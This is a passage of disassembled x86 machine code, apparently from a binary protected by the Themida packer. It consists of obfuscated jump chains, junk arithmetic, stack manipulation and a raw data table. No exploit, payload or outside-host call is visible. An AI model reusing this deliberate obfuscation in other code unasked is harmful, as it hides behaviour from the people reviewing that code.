loc_591852:				; CODE XREF: sub_581EE9+DB60j
		mov	ecx, [esp-6EF6h+arg_6EEC+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		xchg	esi, [esp-6EF2h+arg_6EE8+2]
		jmp	loc_587E78
; ---------------------------------------------------------------------------


loc_59186F:				; CODE XREF: sub_581EE9+A7D5j
		push	ecx
		mov	ecx, 38F311E8h
		or	ebp, ecx
		mov	ecx, [esp-6E88h+arg_6E80]
		add	esp, 4
		and	ebp, 27CB5064h
		jmp	loc_58CD3F
; ---------------------------------------------------------------------------


loc_59188B:				; CODE XREF: sub_581EE9+6F7Bj
		mov	eax, 1D75507Dh
		jmp	loc_58C092
; ---------------------------------------------------------------------------


loc_591895:				; CODE XREF: sub_581EE9+DAE8j
		mov	ecx, esp
		push	ebx
		mov	ebx, 7654635Ch
		or	ebx, 2F273E5Ch
		sub	ebx, 0FFFFFFFFh
		or	ebx, 0AB10BDCh
		neg	ebx
		jmp	loc_591A1A
; ---------------------------------------------------------------------------


loc_5918B3:				; CODE XREF: sub_581EE9+546Cj
		xchg	ebx, [esp-6EE6h+arg_6EDC+2]
		pop	esp
		jmp	loc_58AF78
; ---------------------------------------------------------------------------


loc_5918BC:				; CODE XREF: sub_581EE9+D5B7j
		not	bl
		jmp	loc_58789A
; ---------------------------------------------------------------------------


loc_5918C3:				; CODE XREF: sub_581EE9+AB61j
		mov	ebx, [esp-6EB6h+arg_6EAC+2]
		add	esp, 4
		push	ebx
		push	edx
		mov	edx, 7C340CA4h
		mov	ebx, edx
		pop	edx
		add	ebx, 2905B28h
		not	ebx
		xor	ebx, 54653EA5h
		sub	ebx, 7B8978CAh
		shl	ebx, 7
		sub	ebx, 0EA96E5FCh
		jmp	loc_587C43
; ---------------------------------------------------------------------------


loc_5918F8:				; CODE XREF: sub_581EE9+BC0Ej
		pop	edx
		and	eax, ebx
		jmp	loc_58FC30
; ---------------------------------------------------------------------------


loc_591900:				; CODE XREF: sub_581EE9+AD39j
		pop	esp
		jmp	loc_588458
; ---------------------------------------------------------------------------


loc_591906:				; CODE XREF: sub_581EE9+DC21j
		mov	edi, esp
		jmp	loc_58953E
; ---------------------------------------------------------------------------


loc_59190D:				; CODE XREF: sub_581EE9+86FBj
		add	ebp, 0C7A02D09h
		add	esi, 15D60C77h
		jmp	loc_586C4F
; ---------------------------------------------------------------------------


loc_59191E:				; CODE XREF: sub_581EE9+4C0Ej
		shr	ecx, 2
		jmp	loc_58A9D6
; ---------------------------------------------------------------------------


loc_591926:				; CODE XREF: sub_581EE9+C1EFj
		pop	edi
		pop	eax
		sub	edi, 72131354h
		sub	edi, ecx
		add	edi, 72131354h
		jmp	loc_58B7DF
; ---------------------------------------------------------------------------


loc_59193B:				; CODE XREF: sub_581EE9+9CA2j
		push	dword ptr [ebx]
		jmp	loc_5908F9
; ---------------------------------------------------------------------------


loc_591942:				; CODE XREF: sub_581EE9+BA28j
		add	eax, 1353D63h
		push	esi
		mov	esi, 77F7628Ch
		jmp	loc_5913EE
; ---------------------------------------------------------------------------


loc_591952:				; CODE XREF: sub_581EE9+E71Fj
		mov	edx, [esp]
		add	esp, 4
		push	4235h
		mov	[esp], edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp-6EDEh+arg_6ED6], ebp
		push	edi
		jmp	loc_58E765
; ---------------------------------------------------------------------------


loc_591974:				; CODE XREF: sub_581EE9+74B9j
		sub	edx, ebp
		pop	ebp
		and	eax, edx
		push	[esp-6EB6h+arg_6EAC+2]
		pop	edx
		jmp	loc_58E3E1
; ---------------------------------------------------------------------------


loc_591982:				; CODE XREF: sub_581EE9+C2C9j
		mov	ebx, [esp-6EEAh+arg_6EE0+2]
		add	esp, 4
		push	eax
		jmp	loc_590D98
; ---------------------------------------------------------------------------


loc_591991:				; CODE XREF: sub_581EE9+4695j
		shr	eax, 8
		jmp	loc_5860CA
; ---------------------------------------------------------------------------


loc_591999:				; CODE XREF: sub_581EE9+75E3j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp-6ECEh+arg_6EC6]
		pop	esp
		push	eax
		mov	eax, esp
		push	ecx
		mov	ecx, 68290848h
		not	ecx
		inc	ecx
		shl	ecx, 1
		sub	ecx, 2FADEF6Ch
		add	eax, ecx
		pop	ecx
		add	eax, 4
		xchg	eax, [esp-6ECEh+arg_6EC6]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_58FA31
		push	ebx
		jmp	loc_58DFF7
; ---------------------------------------------------------------------------


loc_5919D8:				; CODE XREF: sub_581EE9+85F3j
		neg	ebx
		shr	ebx, 6
		add	ebx, 7A1D05DAh
		dec	ebx
		sub	ebx, 7E093D34h
		add	eax, ebx
		pop	ebx
		jmp	loc_58BC38
; ---------------------------------------------------------------------------


loc_5919F2:				; CODE XREF: sub_581EE9+9F3Dj
		mov	ebx, [esp-6EDAh+arg_6ED2]
		add	esp, 4
		push	[esp-6EDEh+arg_6ED6]
		pop	eax
		add	esp, 4
		push	661Dh
		mov	[esp-6EDEh+arg_6ED6], ecx
		push	esi
		jmp	loc_58BD31
; ---------------------------------------------------------------------------


loc_591A13:				; CODE XREF: sub_581EE9+69E0j
		mov	ebx, esp
		jmp	loc_58D109
; ---------------------------------------------------------------------------


loc_591A1A:				; CODE XREF: sub_581EE9+F9C5j
		xor	ebx, 80088027h
		add	ecx, 435769E2h
		add	ecx, ebx
		sub	ecx, 435769E2h
		pop	ebx
		add	ecx, 4
		xchg	ecx, [esp-6EC8h+arg_6EBE+2]
		mov	esp, [esp-6EC8h+arg_6EBE+2]
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_591A40:				; CODE XREF: sub_581EE9+F0F0j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		add	edi, 2A7C6C5Bh
		add	edi, esi
		sub	edi, 2A7C6C5Bh
		pop	esi
		push	edi
		push	[esp-6EC0h+arg_6EBA+2]
		jmp	loc_58D06A
; ---------------------------------------------------------------------------


loc_591A68:				; CODE XREF: sub_581EE9+E1E7j
		mov	[esp-6EDEh+arg_6ED6], ebp
		mov	ebp, 1
		and	eax, ebp
		push	[esp-6EDEh+arg_6ED6]
		pop	ebp
		push	edi
		mov	edi, esp
		push	ebp
		push	4
		pop	ebp
		sub	edi, 0A561079h
		add	edi, ebp
		push	esi
		mov	esi, 104F445Ch
		jmp	loc_589BD5
; ---------------------------------------------------------------------------


loc_591A93:				; CODE XREF: sub_581EE9+993Cj
		add	esp, 4
		push	edx
		mov	edx, 77075CD5h
		shl	edx, 2
		push	4CF2h
		mov	[esp-6EE6h+arg_6EDC+2],	esi
		jmp	loc_58F7D1
; ---------------------------------------------------------------------------


loc_591AAF:				; CODE XREF: sub_581EE9+95BCj
		pop	eax
		sub	esp, 4
		jmp	loc_588FEC
; ---------------------------------------------------------------------------


loc_591AB8:				; CODE XREF: sub_581EE9+E0B3j
		xor	edi, [esp-6EEEh+arg_6EE4+2]
		xor	[esp-6EEEh+arg_6EE4+2],	edi
		jmp	loc_590731
; ---------------------------------------------------------------------------


loc_591AC3:				; CODE XREF: sub_581EE9+447Bj
		push	ebx
		mov	ebx, 420861EFh
		sub	edi, ebx
		pop	ebx
		pop	edx
		jmp	loc_58844B
; ---------------------------------------------------------------------------


loc_591AD2:				; CODE XREF: sub_581EE9+84A2j
		mov	ecx, [esp-6EEEh+arg_6EE4+2]
		jmp	loc_5874F3
; ---------------------------------------------------------------------------


loc_591ADA:				; CODE XREF: sub_581EE9+E409j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EC6h+arg_6EBE]
		pop	esp
		jmp	loc_590D13
; ---------------------------------------------------------------------------


loc_591AF1:				; CODE XREF: sub_581EE9+64C1j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_590248
; ---------------------------------------------------------------------------


loc_591B02:				; CODE XREF: sub_581EE9+5C47j
		xchg	ebx, [esp-6EC0h+arg_6EB6+2]
		jmp	loc_59165B
; ---------------------------------------------------------------------------


loc_591B0A:				; CODE XREF: sub_581EE9+EC61j
		mov	ecx, [esp-6EC2h+arg_6EBA]
		jmp	loc_58B0E1
; ---------------------------------------------------------------------------


loc_591B12:				; CODE XREF: sub_581EE9+7D0Dj
		xchg	ebx, [esp-6ED8h+arg_6ECE+2]
		mov	esp, [esp-6ED8h+arg_6ECE+2]
		sub	edx, 77914FA9h
		push	ebx
		jmp	loc_58CBE0
; ---------------------------------------------------------------------------


loc_591B24:				; CODE XREF: sub_581EE9+A35Cj
		mov	esi, 5EE33DF6h
		xor	ecx, esi
		jmp	loc_588765
; ---------------------------------------------------------------------------


loc_591B30:				; CODE XREF: sub_581EE9+8586j
		xor	edx, 6EC7404Eh
		mov	edi, edx
		pop	edx
		jmp	loc_58D18F
; ---------------------------------------------------------------------------


loc_591B3E:				; CODE XREF: sub_581EE9+A627j
		mov	esi, [esp-6EC4h+arg_6EBA+2]
		jmp	loc_58C988
; ---------------------------------------------------------------------------


loc_591B46:				; CODE XREF: sub_581EE9+C698j
		add	esi, 4
		xor	esi, [esp-6EBCh+arg_6EB2+2]
		xor	[esp-6EBCh+arg_6EB2+2],	esi
		xor	esi, [esp-6EBCh+arg_6EB2+2]
		jmp	loc_58CB0E
; ---------------------------------------------------------------------------


loc_591B5A:				; CODE XREF: sub_581EE9+CD38j
		push	ebx
		push	edx
		mov	dh, 7Eh
		jmp	loc_5868F8
; ---------------------------------------------------------------------------


loc_591B63:				; CODE XREF: sub_581EE9+AA15j
		pop	cx
		sub	al, 21h
		add	al, 92h
		add	al, 4Eh
		jmp	loc_58BBB5
; ---------------------------------------------------------------------------


loc_591B70:				; CODE XREF: sub_581EE9+4264j
		jmp	loc_585CC3
; ---------------------------------------------------------------------------


loc_591B75:				; CODE XREF: sub_581EE9+849Aj
		add	edi, 0A38E6760h
		jmp	loc_589A8D
; ---------------------------------------------------------------------------


loc_591B80:				; CODE XREF: sub_581EE9+59C7j
		push	esi
		mov	esi, 5C3B2E3Bh
		inc	esi
		push	ecx
		mov	ecx, 4084397h
		add	ecx, 783F2A76h
		add	ecx, 0DFF3C02Bh
		xor	esi, ecx
		pop	ecx
		sub	ecx, esi
		pop	esi
		push	ecx
		push	[esp-6F0Ah+arg_6F06]
		jmp	loc_58E21A
; ---------------------------------------------------------------------------


loc_591BA9:				; CODE XREF: sub_581EE9+4D27j
		add	eax, edx
		push	ecx
		mov	ecx, 440F311Dh
		neg	ecx
		or	ecx, 503A5481h
		jmp	loc_586DC8
; ---------------------------------------------------------------------------


loc_591BBE:				; CODE XREF: sub_581EE9+CB0Fj
		push	147Dh
		mov	[esp-6ED8h+arg_6ECE+2],	esp
		add	[esp-6ED8h+arg_6ECE+2],	4
		pop	esi
		sub	esp, 4
		mov	[esp-6ED8h+arg_6ECE+2],	eax
		mov	eax, 29EF6C68h
		xor	eax, 7E4A2050h
		and	eax, 64B13DCh
		sub	eax, 96868F0h
		jmp	loc_58A02C
; ---------------------------------------------------------------------------


loc_591BF0:				; CODE XREF: sub_581EE9+A1C5j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_58618F
; ---------------------------------------------------------------------------


loc_591C00:				; CODE XREF: sub_581EE9+DD87j
		add	eax, 49576DE5h
		jmp	loc_58EDB1
; ---------------------------------------------------------------------------


loc_591C0A:				; CODE XREF: sub_581EE9+846Fj
		mov	ebx, 198B566Fh
		mov	eax, ebx
		pop	ebx
		jmp	loc_587292
; ---------------------------------------------------------------------------


loc_591C17:				; CODE XREF: sub_581EE9+A289j
		pop	esi
		xchg	edx, [esp-6EDAh+arg_6ED2]
		pop	esp
		or	eax, eax
		jz	loc_58F090
		push	dword ptr [edi+1Ch]
		push	esi
		push	ebx
		push	ecx
		mov	ecx, 14AB78F2h
		mov	ebx, 277E02DCh
		xor	ebx, ecx
		pop	ecx
		mov	esi, ebx
		jmp	loc_58FEFD
; ---------------------------------------------------------------------------


loc_591C3E:				; CODE XREF: sub_581EE9+A364j
		xor	cl, 0Ch
		sub	dh, cl
		pop	ecx
		jmp	loc_588416
; ---------------------------------------------------------------------------
		db 4Ch,	0FFh, 12h
		dd 5EC81100h, 43DB9C00h, 5ED39CFAh, 5EC1F400h, 90EB9400h
		dd 0AC1B7Ch, 20700h, 200h, 100h, 0
		dd 43DB9C00h, 0FAh, 4 dup(0)
		dd 59425F00h, 59DB9200h, 5A1AC900h, 595EE200h, 59D29C00h
		dd 598B9300h, 59FA9C00h, 5944E300h, 59471600h, 59357000h
		dd 59328300h, 5A33A600h, 5A428200h, 5964C600h, 59F70700h
		dd 5939A700h, 59432D00h, 5A574800h, 5A35FC00h, 5981F500h
		dd 5A0E1000h, 5996D600h, 59EB2700h, 59403800h, 59E11900h
		dd 5A6F5600h, 5A419A00h, 598EE300h, 59ACD300h, 59E59700h
		dd 5A4F8700h, 5A395B00h, 5A49D700h, 5995FD00h, 5A458500h
		dd 5A5CE200h, 5A66AF00h, 5A668300h, 5A4EFA00h, 59826000h
		dd 5926B200h, 5A59EA00h, 5A1D3500h, 59756E00h, 59956100h
		dd 59298900h, 5947EA00h, 5A3EF800h, 59BA8300h, 5A17C100h
		dd 59597F00h, 59657000h, 59875100h, 59222700h, 59C60600h
		dd 59419900h, 5981BD00h, 5A6D9300h, 5A31BD00h, 5964B400h
		dd 593C1D00h, 5A36AB00h, 59473300h, 5980FE00h, 599D1A00h
		dd 598FD500h, 5A084500h, 59EF5B00h, 59B48F00h, 59938100h
		dd 59CAE000h, 593A1F00h, 5947D800h, 5A101800h, 59EEF700h
		dd 593EA700h, 59CD1F00h, 59506000h, 5A5BA200h, 5A505300h
		dd 5A354500h, 59568300h, 59347100h, 5A493500h, 59548C00h
		dd 5A006900h, 59338500h, 59861900h, 59389700h, 59470000h
		dd 59958300h, 59F6FD00h, 59E07100h, 599E3600h, 597B5B00h
		dd 59D9CC00h, 59ECE700h, 59F32100h, 59D65100h, 5978A300h
		dd 5952FF00h, 59CFE800h, 596D5200h, 5A021700h, 5A6FB800h
		dd 5932FE00h, 59238500h, 5A656800h, 599B4300h, 594A2500h
		dd 5982E700h, 5A65FA00h, 5A607D00h, 59D00400h, 597C3900h
		dd 59534500h, 5970F800h, 59D49200h, 593EF900h, 59D68300h
		dd 59F6D200h, 5982FE00h, 5A081300h, 59626A00h, 5A583200h
		dd 5A107200h, 594B0700h, 592AF000h, 599AAD00h, 59AA0A00h
		dd 59D51600h, 59202900h, 59E17300h, 5A4AAA00h, 592B5500h
		dd 59910100h, 5A35EC00h, 5A48A600h, 5A45A900h, 5A4A3800h
		dd 59977700h, 59F75100h, 59EE4000h, 5961C000h, 59C07200h
		dd 5A2EDE00h, 5A024200h, 5A4CFD00h, 59268100h, 5A3BA600h
		dd 59417A00h, 5932EC00h, 59E20700h, 59DB2000h, 59502700h
		dd 594F9900h, 5A3EE700h, 5A543A00h, 597A0F00h, 59E5A800h
		dd 5A62D600h, 597D0200h, 599E7400h, 59BD7900h, 5A2D5D00h
		dd 5A68FE00h, 5A250900h
		db 0
; ---------------------------------------------------------------------------


loc_591F29:				; CODE XREF: Themida_:005D3AEFj
					; Themida_:005D3AF9j ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 6154395h
		mov	eax, edi
		add	edi, 61540ADh
		cmp	eax, [edi+2Ch]
		jnz	short loc_591F47
		jmp	short loc_591F5A
; ---------------------------------------------------------------------------


loc_591F47:				; CODE XREF: sub_581EE9+1005Aj
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_591F56
; ---------------------------------------------------------------------------


loc_591F51:				; CODE XREF: sub_581EE9+1006Fj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_591F56:				; CODE XREF: sub_581EE9+10066j
		or	ecx, ecx
		jnz	short loc_591F51


loc_591F5A:				; CODE XREF: sub_581EE9+1005Cj
		mov	esi, [esp-6EB6h+arg_6ED2]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_591F67:				; CODE XREF: sub_581EE9+10085j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_591F67


loc_591F70:				; CODE XREF: sub_581EE9+1065Dj
					; sub_581EE9+10665j ...
		lodsb
		jmp	loc_59D4DA
; ---------------------------------------------------------------------------


loc_591F76:				; CODE XREF: sub_581EE9+1CAFDj
		or	eax, eax
		jz	loc_597536
		push	dword ptr [edi+1Ch]
		push	4043h
		mov	[esp-6EAEh+arg_6EA4+2],	ecx
		mov	ecx, 2DAE5CFDh
		jmp	loc_597CA3
; ---------------------------------------------------------------------------


loc_591F93:				; CODE XREF: sub_581EE9+18148j
		mov	[esp-6EAEh+arg_6EA4+2],	edx
		mov	edx, 1
		push	2472h
		mov	dword ptr [esp-6EAAh+arg_6EA2],	ecx
		sub	esp, 4
		jmp	loc_5A2671
; ---------------------------------------------------------------------------


loc_591FAB:				; CODE XREF: sub_581EE9+12599j
		xor	ebp, 0EBD567Dh
		sub	esi, ebp
		pop	ebp
		sub	esi, 49E36AF3h
		mov	ecx, dword ptr [esp-6EAAh+arg_6EA2]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp-6EA2h+arg_6E9A], ebx
		jmp	loc_5975EC
; ---------------------------------------------------------------------------


loc_591FD4:				; CODE XREF: sub_581EE9+1F124j
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		sub	esp, 4
		jmp	loc_5A587A
; ---------------------------------------------------------------------------


loc_591FE7:				; CODE XREF: sub_581EE9+24A8Dj
		add	ebx, 7306C35h
		add	edi, ebx
		pop	ebx
		push	esi
		jmp	loc_5A4F95
; ---------------------------------------------------------------------------


loc_591FF6:				; CODE XREF: sub_581EE9+1779Aj
		xchg	edi, [esp-6E9Eh+arg_6E96]
		pop	esp
		mov	[esp-6EA2h+arg_6E9A], ebx
		jmp	loc_59EE85
; ---------------------------------------------------------------------------


loc_592002:				; CODE XREF: sub_581EE9+1F99Aj
		mov	[esp-6EA2h+arg_6E9A], ebx
		jmp	loc_593C95
; ---------------------------------------------------------------------------


loc_59200A:				; CODE XREF: sub_581EE9+243E8j
		mov	ebx, 66EC4325h
		and	ebx, 5E117983h
		push	edx
		mov	edx, 41A96D30h
		xor	edx, 20B57C90h
		and	ebx, edx
		pop	edx
		jmp	loc_59A3C9
; ---------------------------------------------------------------------------
		push	[esp-6EA2h+arg_6E9A]
		mov	eax, [esp-6E9Eh+arg_6E96]
		add	esp, 4
		sub	esp, 4
		mov	[esp-6E9Eh+arg_6E96], ecx
		mov	ecx, esp
		push	ebx
		jmp	loc_59E52E
; ---------------------------------------------------------------------------


loc_592043:				; CODE XREF: sub_581EE9+12845j
		pop	edi
		add	eax, esi
		push	[esp-6E9Eh+arg_6E96]
		pop	esi
		add	esp, 4
		add	eax, 2
		xchg	eax, [esp-6EA2h+arg_6E9A]
		jmp	loc_5A3EC7
; ---------------------------------------------------------------------------


loc_59205D:				; CODE XREF: sub_581EE9+1BA66j
		pop	ebx
		jmp	loc_59B855
; ---------------------------------------------------------------------------


loc_592063:				; CODE XREF: sub_581EE9+13EC7j
		mov	bh, 14h
		push	eax
		jmp	loc_5928F2
; ---------------------------------------------------------------------------


loc_59206B:				; CODE XREF: sub_581EE9+129FDj
		add	[esp-6EA2h+arg_6E9E], 10EF5380h
		jmp	loc_59B1F7
; ---------------------------------------------------------------------------


loc_592078:				; CODE XREF: sub_581EE9+11E35j
		add	ecx, 4
		push	ecx
		push	[esp-6E9Eh+arg_6E9A]
		pop	ecx
		pop	[esp-6E9Eh+arg_6E96]
		pop	esp
		push	[esp-6EA6h+arg_6E9E]
		jmp	loc_5929ED
; ---------------------------------------------------------------------------


loc_592090:				; CODE XREF: sub_581EE9+1306Fj
		add	ebx, 4
		xchg	ebx, [esp-6EA2h+arg_6E9A]
		jmp	loc_59600D
; ---------------------------------------------------------------------------


loc_59209B:				; CODE XREF: sub_581EE9+10A83j
		add	eax, esi
		sub	eax, 0A0E777Ch
		pop	esi
		mov	ebp, [esp-6EA6h+arg_6E9E]
		add	esp, 4
		jmp	loc_597ACE
; ---------------------------------------------------------------------------


loc_5920AE:				; CODE XREF: sub_581EE9+18CACj
		mov	edx, 16A11478h
		xor	edx, 0D051FB7h
		neg	edx
		not	edx
		sub	edx, 1BA40BCAh
		push	edx
		jmp	loc_59B02E
; ---------------------------------------------------------------------------


loc_5920C9:				; CODE XREF: sub_581EE9+1A83Dj
		mov	esp, [esp-6EA6h+arg_6E9E]
		imul	cx
		push	small 6EF9h
		mov	word ptr [esp-6EA4h+arg_6E9A+2], dx
		jmp	loc_5A1C1D
; ---------------------------------------------------------------------------


loc_5920DC:				; CODE XREF: sub_581EE9+24BEDj
		push	29B6h
		mov	[esp-6EA0h+arg_6E96+2],	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp-6EA0h+arg_6E96+2]
		pop	esp
		sub	esi, edx
		mov	edx, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		push	757Bh
		mov	[esp-6EA0h+arg_6E96+2],	eax
		push	[esp-6EA0h+arg_6E9A+2]
		pop	eax
		pop	[esp-6EA0h+arg_6E96+2]
		pop	esp
		jmp	loc_5A0E37
; ---------------------------------------------------------------------------


loc_59211C:				; CODE XREF: sub_581EE9+155A6j
		pop	eax
		add	dh, 72h
		xor	dh, 23h
		xor	ch, dh
		mov	edx, [esp]
		add	esp, 4
		push	bx
		push	762Ch
		mov	dword ptr [esp-6EAAh+arg_6EA2],	eax
		jmp	loc_5A7098
; ---------------------------------------------------------------------------


loc_59213A:				; CODE XREF: sub_581EE9+16EB5j
		pop	ecx
		jmp	loc_5A07BC
; ---------------------------------------------------------------------------


loc_592140:				; CODE XREF: sub_581EE9+152C1j
		add	ebp, esi
		mov	esi, [esp-6EAEh+arg_6EA4+2]
		add	esp, 4
		push	ecx
		jmp	loc_597CD2
; ---------------------------------------------------------------------------


loc_59214E:				; CODE XREF: sub_581EE9+11C42j
		push	2F706EECh
		push	dword ptr [esp-6EAAh+arg_6EA2]
		pop	esi
		push	edi
		push	esp
		jmp	loc_594C8A
; ---------------------------------------------------------------------------


loc_59215E:				; CODE XREF: sub_581EE9+19AE4j
		xor	[esp-6EA2h+arg_6E9A], ecx
		xor	ecx, [esp-6EA2h+arg_6E9A]
		jmp	loc_59A9AF
; ---------------------------------------------------------------------------


loc_592169:				; CODE XREF: sub_581EE9+1948Dj
		mov	edi, edx
		pop	edx
		and	edi, 3A2F0288h
		shl	edi, 3
		push	ebp
		mov	ebp, 32517A6Eh
		sub	ebp, 1C45085Eh
		sub	ebp, 5111428Eh
		or	ebp, 67D63493h
		add	ebp, 79720C71h
		push	ebx
		mov	ebx, 1062192Ah
		sub	ebp, 10F33527h
		sub	ebp, ebx
		add	ebp, 10F33527h
		pop	ebx
		xor	edi, ebp
		pop	ebp
		push	ebx
		push	ebp
		mov	ebp, 28D86B0Ah
		mov	ebx, 0D72794F5h
		add	ebx, 1421184h
		add	ebx, ebp
		sub	ebx, 1421184h
		mov	ebp, [esp-6E9Eh+arg_6E96]
		jmp	loc_595581
; ---------------------------------------------------------------------------


loc_5921CD:				; CODE XREF: sub_581EE9+14AD3j
		and	esi, 3C285A39h
		sub	esi, 0B173E771h
		add	ebx, esi
		pop	esi
		pop	small word ptr [eax]
		jmp	loc_59B64A
; ---------------------------------------------------------------------------


loc_5921E4:				; CODE XREF: sub_581EE9+14F49j
		sub	ecx, 4
		xchg	ecx, [esp-6EA4h+arg_6E9A+2]
		pop	esp
		jmp	loc_5A1C51
; ---------------------------------------------------------------------------


loc_5921F3:				; CODE XREF: sub_581EE9+239C8j
		push	[esp-6EA8h+arg_6E9E+2]
		jmp	loc_59652B
; ---------------------------------------------------------------------------


loc_5921FB:				; CODE XREF: sub_581EE9+2483Fj
		sub	eax, 4
		jmp	loc_59B3A0
; ---------------------------------------------------------------------------


loc_592205:				; CODE XREF: sub_581EE9+13306j
		sub	edx, 67C38B5Fh
		add	ecx, edx
		mov	edx, [esp-6EA4h+arg_6E9A+2]
		add	esp, 4
		add	esi, 49E36AF3h
		add	esi, 730601D3h
		jmp	loc_59446A
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr fs:[edx]
		jmp	loc_596459
; ---------------------------------------------------------------------------


loc_592231:				; CODE XREF: sub_581EE9+19A42j
		mov	edx, esp
		add	edx, 4
		jmp	loc_59E96A
; ---------------------------------------------------------------------------


loc_59223E:				; CODE XREF: sub_581EE9+1BD74j
		pop	esi
		add	esp, 4
		push	esi
		sub	[esp-6EACh+arg_6EA4], 30CC4D0Dh
		pop	eax
		jmp	loc_596E0F
; ---------------------------------------------------------------------------


loc_592253:				; CODE XREF: sub_581EE9+20FF0j
		pop	edx
		push	ebx
		jmp	loc_5931D6
; ---------------------------------------------------------------------------


loc_59225A:				; CODE XREF: sub_581EE9+20474j
		xchg	esi, edx
		jmp	loc_5A6E02
; ---------------------------------------------------------------------------


loc_592261:				; CODE XREF: sub_581EE9+22F29j
		sub	al, 43h
		mov	dh, al
		jmp	loc_59AB4C
; ---------------------------------------------------------------------------


loc_59226A:				; CODE XREF: sub_581EE9+24BF6j
		xchg	eax, ecx
		add	eax, 3B770BE4h
		jmp	loc_59AB9A
; ---------------------------------------------------------------------------


loc_592275:				; CODE XREF: sub_581EE9+19AB1j
		shr	edi, 1
		xor	edi, 3DC5100Fh
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp-6EB4h+arg_6EAC]
		mov	esp, [esp-6EB4h+arg_6EAC]
		push	ebp
		mov	ebp, 2
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp-6EB4h+arg_6EAC]
		mov	esp, [esp-6EB4h+arg_6EAC]
		mov	ax, word ptr [esp-6EB4h+arg_6EAC]
		sub	esp, 4
		jmp	loc_5A1D59
; ---------------------------------------------------------------------------


loc_5922A1:				; CODE XREF: sub_581EE9+2286Fj
		pop	[esp-6EB0h+arg_6EA8]
		push	[esp-6EB4h+arg_6EAC]
		pop	eax
		push	ecx
		sub	esp, 4
		mov	[esp-6EACh+arg_6EA4], esp
		add	[esp-6EACh+arg_6EA4], 4
		pop	ecx
		push	ebx
		push	esi
		push	326004Dh
		jmp	loc_59A267
; ---------------------------------------------------------------------------


loc_5922C3:				; CODE XREF: sub_581EE9+1B84Aj
		pop	edx
		neg	edx
		add	edx, 548A61AAh
		jmp	loc_5A2AED
; ---------------------------------------------------------------------------


loc_5922D1:				; CODE XREF: sub_581EE9+1F834j
		sub	ebx, 10F3166h
		pop	ebp
		mov	esi, ebx
		mov	ebx, [esp-6EACh+arg_6EA4]
		add	esp, 4
		add	[esp-6EB0h+arg_6EAC], 52CB58F7h
		add	[esp-6EB0h+arg_6EAC], 53F11D37h
		jmp	loc_59E280
; ---------------------------------------------------------------------------


loc_5922F5:				; CODE XREF: sub_581EE9+16F44j
		mov	[esp-6EB0h+arg_6EA8], ebp
		mov	ebp, 2
		push	ebx
		mov	ebx, ebp
		push	ebx
		sub	[esp-6EA8h+arg_6E9E+2],	1FA5388Fh
		jmp	loc_59F375
; ---------------------------------------------------------------------------


loc_59230D:				; CODE XREF: sub_581EE9+1F4FBj
		add	edx, 3BEF69D7h
		jmp	loc_598988
; ---------------------------------------------------------------------------


loc_592318:				; CODE XREF: sub_581EE9+2182Dj
		xchg	edi, [esp-6EA8h+arg_6E9E+2]
		jmp	loc_597A46
; ---------------------------------------------------------------------------


loc_592320:				; CODE XREF: sub_581EE9+2460Dj
		mov	esi, 685C6E73h
		jmp	loc_5A1C39
; ---------------------------------------------------------------------------


loc_59232A:				; CODE XREF: sub_581EE9+14F84j
		pop	ebx
		push	eax
		mov	al, 8Bh
		neg	al
		and	al, 78h
		not	al
		neg	al
		add	al, 0
		xor	dh, al
		pop	eax
		sub	dh, 1
		xor	dh, 0C9h
		sub	dh, 0FFh
		jmp	loc_595181
; ---------------------------------------------------------------------------


loc_592349:				; CODE XREF: sub_581EE9+23830j
		not	cl
		shr	cl, 4
		or	cl, 84h
		sub	cl, 28h
		mov	bl, cl
		pop	ecx
		mov	ch, 0F0h
		jmp	loc_59FAB1
; ---------------------------------------------------------------------------


loc_59235E:				; CODE XREF: sub_581EE9+1DE24j
		add	[esp-6EB0h+arg_6EAC], esi
		pop	esi
		jmp	loc_5A2DF7
; ---------------------------------------------------------------------------


loc_592368:				; CODE XREF: sub_581EE9+1842Ej
		add	esi, ebx
		jmp	loc_5A2F4D
; ---------------------------------------------------------------------------


loc_59236F:				; CODE XREF: sub_581EE9+15066j
		push	esp
		mov	esi, [esp-6EB0h+arg_6EA8]
		jmp	loc_5A397B
; ---------------------------------------------------------------------------


loc_592378:				; CODE XREF: sub_581EE9+157A5j
		add	ecx, edi
		pop	edi
		add	esi, ecx
		mov	ecx, [esp-6EB4h+arg_6EAC]
		jmp	loc_5A4D2B
; ---------------------------------------------------------------------------
		mov	ax, word ptr [esp-6EB4h+arg_6EAC]
		push	488Ch
		mov	[esp-6EB0h+arg_6EA8], ecx
		mov	ecx, esp
		push	3F25h
		jmp	loc_59AB91
; ---------------------------------------------------------------------------


loc_59239D:				; CODE XREF: sub_581EE9+177B2j
		sub	ebx, esi
		pop	esi
		jmp	loc_5A25A5
; ---------------------------------------------------------------------------


loc_5923A5:				; CODE XREF: sub_581EE9+16FF5j
		push	edi
		mov	edi, 4E775671h
		sub	ecx, edi
		mov	edi, [esp]
		sub	esp, 4
		jmp	loc_599F09
; ---------------------------------------------------------------------------


